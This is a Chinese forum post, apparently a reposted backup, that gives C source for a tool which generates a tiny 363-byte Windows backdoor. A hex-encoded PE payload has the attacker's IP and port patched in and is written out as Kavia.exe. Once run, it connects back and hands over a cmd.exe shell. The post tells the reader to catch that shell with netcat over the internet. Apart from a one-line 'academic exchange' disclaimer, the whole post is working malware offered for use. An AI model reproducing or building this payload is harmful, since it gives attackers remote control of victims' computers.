[源碼] 363字節，從正向連接後門

1. 此為本人備份文章用途，僅供學術交流用。

複製代碼

作者:
半斤八兩

博客:

http://hi.baidu.com/bjblcracked

日期:
2012-11-16  02:01

1. 瑞士军刀nc你知道嗎？用那個工具監聽本地端口，就能得到CMDSHELL

複製代碼

1. #include <stdio.h>
   
2. #include <windows.h>
   
3. 
   
4. #define OFFSET_IP 98
   
5. #define OFFSET_PORT 221
   
6. #define OFFSET_BUFFER_SIZE 363
   
7. 
   
8. UCHAR szBackDoor[] = {
   
9.   0x4D, 0x5A, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00, 0x77, 0x73, 0x32, 0x5F,
   
10.   0x33, 0x32, 0x2E, 0x44, 0x4C, 0x4C, 0x00, 0x00, 0x46, 0x00, 0x0F, 0x01, 0x0B, 0x01, 0x68, 0x0C,
    
11.   0x00, 0x40, 0x00, 0xE8, 0x53, 0x1D, 0x40, 0x7C, 0x90, 0x90, 0xEB, 0x24, 0x1E, 0x00, 0x00, 0x00,
    
12.   0x6A, 0x00, 0xEB, 0x1C, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x04, 0x00, 0x00, 0x00,
    
13.   0x04, 0x00, 0x00, 0x00, 0xB2, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xEB, 0x10, 0x04, 0x00, 0x00, 0x00,
    
14.   0xEB, 0x62, 0x00, 0x00, 0x77, 0xC3, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xEB, 0xD0,
    
15.   0x02, 0x00, 0x31, 0x32, 0x37, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00,
    
16.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    
17.   0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    
18.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    
19.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    
20.   0x00, 0x00, 0x00, 0x00, 0x81, 0xEC, 0xF4, 0x01, 0x00, 0x00, 0x56, 0x8D, 0x44, 0x24, 0x68, 0x57,
    
21.   0x50, 0x68, 0x02, 0x02, 0x00, 0x00, 0xE8, 0x8A, 0x69, 0x62, 0x71, 0x6A, 0x00, 0x6A, 0x00, 0x6A,
    
22.   0x00, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0xE8, 0x8E, 0x8A, 0x62, 0x71, 0x68, 0x3E, 0x03, 0x00,
    
23.   0x00, 0x8B, 0xF0, 0x66, 0xC7, 0x44, 0x24, 0x0C, 0x02, 0x00, 0xE8, 0x64, 0x2D, 0x62, 0x71, 0x68,
    
24.   0x62, 0x00, 0x40, 0x00, 0x66, 0x89, 0x44, 0x24, 0x0E, 0xE8, 0xE3, 0x2D, 0x62, 0x71, 0x8D, 0x4C,
    
25.   0x24, 0x08, 0x6A, 0x10, 0x51, 0x56, 0x89, 0x44, 0x24, 0x18, 0xE8, 0xF8, 0x48, 0x62, 0x71, 0xB9,
    
26.   0x11, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x8D, 0x7C, 0x24, 0x18, 0x8D, 0x54, 0x24, 0x5C, 0xF3, 0xAB,
    
27.   0x66, 0x89, 0x44, 0x24, 0x48, 0x8D, 0x44, 0x24, 0x18, 0x52, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A,
    
28.   0x00, 0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x68, 0x80, 0x00, 0x40, 0x00, 0x6A, 0x00, 0xC7, 0x44,
    
29.   0x24, 0x40, 0x44, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x6C, 0x01, 0x01, 0x00, 0x00, 0x89, 0xB4,
    
30.   0x24, 0x80, 0x00, 0x00, 0x00, 0x89, 0x74, 0x24, 0x7C, 0x89, 0x74, 0x24, 0x78, 0xE8, 0x09, 0x22,
    
31.   0x40, 0x7C, 0x5F, 0x5E, 0x81, 0xC4, 0xF4, 0x01, 0x00, 0x00, 0xC3
    
32. };

複製代碼

1. int main(int argc,char *argv[])
   
2. {
   
3.   FILE *tagFile;
   
4.   CHAR szIP[15] = {0};
   
5.   int nPort = 0;
   
6. 
   
7.   system("color 0a & title 正向连接后门  By 半斤八兩");
   
8. 
   
9.   puts("KaviaKaviaKaviaKaviaKaviaKaviaKaviaKaviaKaviaK");
   
10.   puts("a                                            a");
    
11.   puts("v            正向连接 (仅有363 Byte)         v");
    
12.   puts("i           仅以此后门送给 [Kavia]           i");
    
13.   puts("a              By 半斤八兩                   a");
    
14.   puts("K      http://hi.baidu.com/bjblcracked       K");
    
15.   puts("a                                            a");
    
16.   puts("KaviaKaviaKaviaKaviaKaviaKaviaKaviaKaviaKaviaK");
    
17.   puts("");
    
18. 
    
19.   if(argc != 3)
    
20.   {
    
21.     puts("格式: Kavia.exe 你的IP 以及你的端口\r\n");
    
22. 
    
23.     system("Pause");
    
24. 
    
25.     return -1;
    
26.   }
    
27. 
    
28.   strcpy(szIP, argv[1]);
    
29. 
    
30.   nPort = atoi(argv[2]);
    
31. 
    
32.   ZeroMemory(szBackDoor + OFFSET_IP, sizeof(szIP));
    
33.   memcpy(szBackDoor + OFFSET_IP, szIP, strlen(szIP));
    
34.   memcpy(szBackDoor + OFFSET_PORT, &nPort, sizeof(int));
    
35. 
    
36.   tagFile = fopen("Kavia.exe", "w");
    
37. 
    
38.   fwrite(szBackDoor, OFFSET_BUFFER_SIZE, 1, tagFile);
    
39. 
    
40.   puts("");
    
41.   puts("恭喜! 生成成功 文件名[Kavia.exe] *^_^* !!!");
    
42.   puts("请用瑞士军刀之类的工具, 监听本地端口...");
    
43.   puts("注意, 要在WAN中监听, 不要在LAN环境中一阵乱监听 -_-~...");
    
44.   puts("");
    
45. 
    
46.   fclose(tagFile);
    
47. 
    
48.   return 0;
    
49. }

複製代碼

下載地址:

http://bbs.pediy.com/showthread.php?p=1126348#post1126348

辛苦了!